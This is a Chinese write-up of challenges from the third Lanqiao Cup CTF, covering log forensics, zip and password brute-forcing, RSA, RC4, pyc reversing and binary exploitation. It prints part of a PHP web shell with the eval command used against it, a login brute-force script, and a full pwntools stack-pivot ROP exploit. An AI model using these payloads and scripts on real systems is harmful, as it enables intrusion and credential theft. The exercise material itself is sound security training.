前言
简介
今年是第三届蓝桥杯CTF,相⽐于以往两届,题⽬数量略微多了一点,并且解题人数也有所增加。
欢迎关注公众号【Real返璞归真】回复【蓝桥杯】,,获取【历年蓝桥杯CTF完整题解 + 题目附件 + WriteUp离线版】:
解题情况
比赛结束前3分钟的解题情况:
被遗忘的题目是全场最少解的题(47解),比赛结束前1小时才陆续有人出解。除0解题目外,AK人数<47,但感觉AK的人不少。
获奖情况分析:
签到题没以往简单所以不好评估参赛总人数 国一应该得ak的快才行(做最后一道 被遗忘的题目快)国二预估差1-3个题目ak比较有希望(差3个题目的话需要做出来解少的题目)
情报收集
被遗忘的
这个题目没有做,临近结束1个小时左右陆续有人解出来。
赛后找朋友要了下解题方法,但没办法去复现了,这里贴出来仅供参考。
先泄露xx.php:
<?php
error_reporting(7);
// @set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\', '/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
// define('IS_PHPINFO', (!eregi('phpinfo',$dis_func)) ? 1 : 0 );
define('IS_PHPINFO', 1);
@set_time_limit(0);
foreach($_POST as $key => $value) {
if (IS_GPC) {
$value = s_array($value);
}
$$key = $value;
}
/*===================== 程序配置 =====================*/
// 如果需要密码验证,请修改登陆密码,留空为不需要验证
$pass = '828193099115dcaa67805a0776785b3a';
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$cookiepre = '';
// cookie 作用域
$cookiedomain = '';
// cookie 作用路径
$cookiepath = '/';
// cookie 有效期
$cookielife = 86400;
//程序搜索可写文件的类型
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
/*===================== 配置结束 =====================*/
$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
if ($charset == 'utf8') {
header('content-Type: text/html; charset=utf-8');
} elseif ($charset == 'big5') {
header('content-Type: text/html; charset=big5');
} elseif ($charset == 'gbk') {
header('content-Type: text/html; charset=gbk');
} elseif ($charset == 'latin1') {
header('content-Type: text/html; charset=iso-8859-2');
} elseif ($charset == 'euc-kr') {
header('content-Type: text/html; charset=euc-kr');
} elseif ($charset == 'euc-jp') {
header('content-Type: text/html; charset=euc-jp');
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== 身份验证 =====================*/
if ($action == 'logout') {
scookie('loginpass', '', -86400 * 365);
@header('Location: '.$self);
exit;
}
if($pass) {
if ($action == 'login') {
if ($pass == encode_pass($password)) {
scookie('loginpass',encode_pass($password));
@header('Location: '.$self);
exit;
}
}
if ($_COOKIE['loginpass']) {
if ($_COOKIE['loginpass'] != $pass) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== 验证结束 =====================*/
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
// PHP代码太长,放到附件中了,感兴趣可以查看。
根据代码逻辑,以post方式访问http://url/xx.php。
携带请求体:action=eval&phpcode=system('cat /flag')
携带Cookie:loginpass=828193099115dcaa67805a0776785b3a
具体细节可以自行研究,这里就不去复现了。
数据分析
server_logs
如果部署本地大模型的话,直接把日志丢给大模型进行检索比较快。
在auth.log中发现:
Jun 15 02:30:15 server sshd[5678]: Accepted password for attacker from 192.168.42.77 port 1337
SSH 用户名: attacker
攻击者 IP: 192.168.42.77
在syslog中发现:
Jun 15 02:35:15 server systemd[1]: Started hidden_backdoor.service
Jun 15 02:35:15 server hidden_backdoor: listening on [any] 31337 ...
恶意服务名称: hidden_backdoor(不包括 .service 后缀)
在dnsmasq.log中发现:
Jun 15 02:40:15 dnsmasq[123]: query[A] CiAgICByb290Oio6MTk0Nzk6MDo5OTk5OTo3Ojo6.data.leak.ev from 192.168.42.77
Jun 15 02:40:17 dnsmasq[123]: query[A] CmRhZW1vbjoqOjE5NDc5OjA6OTk5OTk6Nzo6Ogph.data.leak.ev from 192.168.42.77
Jun 15 02:40:19 dnsmasq[123]: query[A] dHRhY2tlcjokNiRzZWNyZXQkZW5jcnlwdGVkcGFz.data.leak.ev from 192.168.42.77
Jun 15 02:40:21 dnsmasq[123]: query[A] c3dvcmQ6MTk0Nzk6MDo5OTk5OTo3Ojo6CiAgICA.data.leak.ev from 192.168.42.77
DNS 域名固定部分: data.leak.ev
按照题目要求进行组合得到最终flag为flag{attacker_192.168.42.77_hidden_backdoor_data.leak.ev}。
flowzip2
流量分析题,分析HTTP流量,Wireshark打开流量包发现下载了200个.zip压缩包:
选择菜单栏【File → Export Objects → HTTP...】将文件全部保存:
打开压缩包:
发现提示是一个正则表达式d{3},也就是3位数字。
使用ARCHPR爆破一个压缩包,发现密码确实是3位数字,但是文本内容是乱码。
只能考虑编写python脚本,批量爆破解压出文本内容。
使用传统压缩算法爆破:
import zipfile
import os
zip_dir = 'zip'
passwords = [f'{i:03d}'for i in range(1000)]
for i in range(200):
zip_path = os.path.join(zip_dir, f'{i:03d}.zip')
print(f'正在处理: {zip_path}')
for pwd in passwords:
try:
with zipfile.ZipFile(zip_path) as zf:
file_list = zf.namelist()
target_file = file_list[0]
with zf.open(target_file, pwd=bytes(pwd, 'utf-8')) as f:
content = f.read().decode('utf-8')
print(f'[+] 解压成功: {zip_path} 密码: {pwd}')
print(f'文件内容: n{content}n')
break
except Exception:
continue
else:
print(f'[-] 未找到正确密码: {zip_path}n')
zipfile库只支持传统加密(ZipCrypto),运行后发现密码错误。
猜测压缩包可能是AES加密,zipfile库无法正确解压,必须用pyzipper。
这个题目同pyc反编译的逆向题一样坑,如果提前没有安装这个库,就没办法写脚本批量爆破了,只能一个一个用工具爆破。
(或者可能有别的更好用的现成脚本)
最终脚本如下所示:
import pyzipper
import os
zip_dir = 'zip'
passwords = [f'{i:03d}'for i in range(1000)]
for i in range(200):
zip_path = os.path.join(zip_dir, f'{i:03d}.zip')
found = False
for pwd in passwords:
try:
with pyzipper.AESZipFile(zip_path) as zf:
zf.pwd = bytes(pwd, 'utf-8')
file_list = zf.namelist()
ifnot file_list:
continue
target_file = file_list[0]
content = zf.read(target_file).decode('utf-8').strip()
print(f'{i:03d}.zip {pwd} {content}')
found = True
break
except Exception:
continue
ifnot found:
print(f'{i:03d}.zip 未找到正确密码')
运行脚本,其中一个压缩包的文本是flag:
密码破解
xxtea
这题应该对应往年的Cyberchef签到题,但对没接触过逆向和密码学的来说还是难点,因为xxtea加密后取了hex。
打开发现逻辑很简单,XXTEA解密后执行hexdump。还原也很简单,保留十六进制:
9e450282ea25d2620d06e7b45fdc62bd3968472654509e264c86062e2baf3b8b7ce4990dad12e27e46c90029a6ea1fb0aec1da30f398948233fd99d3d3b9a012d9dea5d20e95f3a5bbf2f991b2a3c294b11cb7eb8765d70e0c6bd5654de1431ebeb43471b553d4ea624eb980f36ff05c597558529ea4ece235b7d868
然后使用Cyberchef逆回去即可(From Hex -> XXTEA Decrypt):
fastcoll
进入靶机后提供一个工具,然后提示我们需要提交2个不同文件的Base64编码,要求这两个文件内容以gamelab为前缀。
运行fastcoll工具查看说明文档:
C:UsersSimplicityDesktop>fastcoll_v1.0.0.5.exe
MD5 collision generator v1.5
by Marc Stevens (http://www.win./hashclash/)
Allowed options:
-h [ --help ] Show options.
-q [ --quiet ] Be less verbose.
-i [ --ihv ] arg Use specified initial value. Default is MD5 initial
value.
-p [ --prefixfile ] arg Calculate initial value using given prefixfile. Also
copies data to output files.
-o [ --out ] arg Set output filenames. This must be the last option
and exactly 2 filenames must be specified.
Default: -o msg1.bin msg2.bin
-p参数用于指定文件数据的前缀,-o用于生成2个哈希值相等的不同文件。
创建tmp.txt文件,写入gamelab,然后使用fastcoll工具生成:
fastcoll_v1.0.0.5.exe -p tmp.txt -o msg1.bin msg2.bin
使用Cyberchef取生成的两个文件的Base64值提交到靶机即可得到Flag。
qppq
连接靶机给出n、e、c和param1,可以发现param1 = p + q。
利用欧拉函数的性质:
ϕ(n)=(p−1)(q−1)=n+1−(p+q)=n+1−param1
后续就是正常的RSA解密:
import gmpy2
from Crypto.Util.number import *
n =
e =
ciphertext = []
param1 =
phi = n + 1 - param1
d = gmpy2.invert(e, phi)
m = pow(ciphertext[0], d, n)
print(long_to_bytes(m))
逆向分析
encodefile
连续3年出的RC4题目,拖入IDA分析,没有main函数。
考虑从字符串下手:
根据flag.txt定位到关键代码:
找到key和两个文件名,逻辑显示是通过key加密flag.txt数据后存储到enc.dat。
我们直接追踪key的数据流即可,发现有两个函数用到key。
第一个函数很明显,两轮255次循环,打乱密钥盒,可以识别出是RC4算法:
尝试使用RC4模板对密文进行解密:
def rc4_decrypt(key, ciphertext):
'''
RC4 解密函数
:param key: 密钥(bytes)
:param ciphertext: 密文(bytes)
:return: 解密后的明文(bytes)
'''
# RC4 密钥调度算法(KSA)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 伪随机生成算法(PRGA)解密
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plaintext.append(byte ^ k)
return bytes(plaintext)
with open('enc.dat', 'rb') as f:
ciphertext = f.read()
key = b'key2025lqb'
plaintext = rc4_decrypt(key, ciphertext)
print('Decrypted Data (Hex):', plaintext.hex())
try:
print('Decrypted Text:', plaintext.decode('utf-8'))
except UnicodeDecodeError:
print('Decrypted Data is not UTF-8 text.')
可以直接得到Flag,那就不需要继续后续分析了。
rand_pyc
断网环境出这种题目就比较离谱,如果你python版本太低或者太高就做不了。
这个题目需要使用python3.8或者相近的版本,否则会报错无法反编译。
先使用pyinstxtractor将exe反编译为pyc文件:
python pyinstxtractor.py ../rand_pyc_obf.exe
[+] Processing ../rand_pyc_obf.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 5579332 bytes
[+] Found 58 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: rand_pyc_obf.pyc
[+] Found 74 files in PYZ archive
[+] Successfully extracted pyinstaller archive: ../rand_pyc_obf.exe
You can now use a python decompiler on the pyc files within the extracted directory
然后使用uncompyle6将pyc反编译为py源代码:
uncompyle6 rand_pyc_obf.pyc > decompiled.py
# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.9 (tags/v3.8.9:a743f81, Apr 6 2021, 14:02:34) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: rand_pyc_obf.py
import sys, random, base64
Ii = input('Please input the flag: ').strip()
ifnot (Ii.startswith('flag{') and Ii.endswith('}') and len(Ii) == 42):
print('Length incorrect')
sys.exit(-999)
oo0O000ooO = base64.b64encode(Ii.encode()).decode() + '_easyctf'
ii = []
for iiI in oo0O000ooO:
random.seed(ord(iiI))
ii.append(random.randint(1000000, 9999999))
else:
iii111 = [
4417023, 5690625, 9639225, 1327718, 4417023, 5085550, 5752075,
9556690, 5240080, 6431679, 3428007, 3189766, 3438336, 5757818,
3189766, 5690625, 4148389, 2254831, 6292433, 2122126, 5240080,
6431679, 9488271, 2464675, 7216908, 5757818, 3189766, 5690625,
3438336, 6431679, 2360475, 6002055, 5240080, 9040261, 8655414,
9347278, 3438336, 2254831, 2122126, 5135281, 2360475, 9347278,
4417023, 1327718, 3438336, 3448715, 9488271, 5501611, 5240080,
5757818, 9488271, 5501611, 5240080, 9347278, 4148389, 1714134,
9923116, 4267438, 4263793, 5752075, 2464675, 7777627, 6002055,
3485900]
Iio0 = []
for iiI in oo0O000ooO:
random.seed(ord(iiI))
Iio0.append(random.randint(1000000, 9999999))
else:
if Iio0 != iii111:
print('Wrong flag')
sys.exit(-1)
print('Correct!')
# okay decompiling rand_pyc_obf.pyc
检查输入Flag的Base64编码拼接'_easyctf'后,每个字符作为随机种子生成的数字是否匹配预设的列表。
编写脚本爆破并重排序回去得到flag:
import random
import base64
iii111 = [4417023, 5690625, 9639225, 1327718, 4417023, 5085550, 5752075, 9556690, 5240080, 6431679, 3428007, 3189766, 3438336, 5757818, 3189766, 5690625, 4148389, 2254831, 6292433, 2122126, 5240080, 6431679, 9488271, 2464675, 7216908, 5757818, 3189766, 5690625, 3438336, 6431679, 2360475, 6002055, 5240080, 9040261, 8655414, 9347278, 3438336, 2254831, 2122126, 5135281, 2360475, 9347278, 4417023, 1327718, 3438336, 3448715, 9488271, 5501611, 5240080, 5757818, 9488271, 5501611, 5240080, 9347278, 4148389, 1714134, 9923116, 4267438, 4263793, 5752075, 2464675, 7777627, 6002055, 3485900]
char_map = {}
for c in range(128):
random.seed(c)
char_map[random.randint(1000000, 9999999)] = chr(c)
b64_str = ''.join([char_map[num] for num in iii111])[:-8]
flag = base64.b64decode(b64_str).decode()
print(flag)
漏洞挖掘分析
弱口令
靶机题目,无附件。
打开是一个登录页面,并且给我们了一个测试账号密码。
在主页面查看源代码发现:
<!-- 隐藏的线索,通过查看源代码或开发者工具可以发现 -->
<div class='debug-note'>
<!-- 注意:这段代码仅用于调试,不应该在生产环境中显示 -->
<!-- 管理员用户ID: 1 -->
<!-- 似乎/user和/sensitive页面存在IDOR漏洞 -->
<!-- 尝试通过API端点获取更多信息: /api/users 和 /api/sensitive/1 -->
</div>
<script>
// 这段JavaScript代码不会执行,但是通过查看源代码可以发现
// fetch('/api/users')
// .then(response => response.json())
// .then(data => console.log(data));
// fetch('/api/sensitive/1')
// .then(response => response.json())
// .then(data => console.log(data));
但是访问这两个接口把ID改为1后提示权限不足,查看Cookie后想伪造jwt但不知道secret。
进入个人中心发现有一个程序员日记:
2号用户的个人笔记
现象观察:部分用户设置密码时,会采用“用户名+4位数字”的组合形式(例如用户名为 “user”,密码可能设为 “user1234”)。
潜在风险:
+ 关联性过强:密码直接基于用户名延伸,若用户名泄露,攻击者可快速锁定密码结构,大幅缩小暴力破解范围。
+ 数字规律易猜:4 位数字常为生日、年份、连续数字(如 “1234”)或简单重复组合(如 “5656”),安全性极低。
+ 缺乏复杂度:此类密码未包含字母大小写、特殊符号等元素,无法满足现代系统对密码强度的基本要求。
创建时间: 2025-06-20 11:14:06
根据提示,尝试用户名为admin,密码为adminxxxx进行爆破(Burpsuite或Python脚本)。
import requests
url = ''
username = 'admin'
for num in range(0, 10000):
password = f'{username}{num:04d}'
data = {'username': username, 'password': password}
r = requests.post(url, data=data)
if'错误'notin r.text:
print(num)
break
else:
print(f'尝试: {password}失败')
成功爆破出密码为admin0621(刚好是比赛当天的日期,也可以猜测得到),登录后在个人中心找到flag即可。
星际xml解析器2
0解题目,没有去看。
open_sesame
经典32位模板题目,逻辑很简单:
存在栈溢出漏洞,可以考虑ret2libc,但是题目开启沙箱保护:
查看后发现禁用系统调用execve,只能考虑orw。由于溢出空间比较小且题目没有给出flag字符串,需要栈迁移。
第一次栈溢出先通过puts函数泄露libc,然后返回main函数。
第二次栈溢出迁移到bss段执行orw操作(需要借助gadget平栈)。
完整exp如下所示:
from pwn import *
elf = ELF('./open_sesame')
libc = ELF('./libc.so.6')
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# leak libc
payload = b'a' * 0x48 + p32(0) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendafter(b'code:n', payload)
libc_base = u32(p.recvuntil(b'xf7')[-4:].ljust(4, b'x00')) - libc.sym['puts']
libc.address = libc_base
success('libc_base = ' + hex(libc_base))
# stack_pivot + ret2orw
bss_addr = elf.bss()
leave_ret = 0x08049165
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
rw_mem = bss_addr
buf_addr = rw_mem + 0x100
payload = b'a' * 0x48
payload += p32(rw_mem - 4)
payload += p32(elf.plt['read'])
payload += p32(next(elf.search(asm('leave; ret;'), executable=True)))
payload += p32(0)
payload += p32(rw_mem)
payload += p32(0x200)
gdb.attach(p, 'b *0x80492EDnc')
pause()
p.sendafter(b'code:n', payload)
rop = b''
# open('./flag', 0)
rop += p32(libc.symbols['open'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; ret')))) # 返回地址,清理参数
rop += p32(buf_addr) # 参数1 pathname 地址
rop += p32(0) # 参数2 flags O_RDONLY
# read(fd=3, buf_addr, 0x100)
rop += p32(libc.symbols['read'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret')))) # 返回地址,清理参数
rop += p32(3) # fd
rop += p32(buf_addr) # buf
rop += p32(0x100) # size
# write(fd=1, buf_addr, 0x100)
rop += p32(libc.symbols['write'])
rop += p32(next(libc.search(asm('pop ebx; pop esi; pop edi; ret')))) # 返回地址,清理参数
rop += p32(1) # fd stdout
rop += p32(buf_addr) # buf
rop += p32(0x100) # size
rop = rop.ljust(0x100, b'x00')
rop += b'./flagx00'
p.send(rop)
# gdb.attach(p)
p.interactive()
数据库安全
和前几年一样,几乎年年0解,没有去看。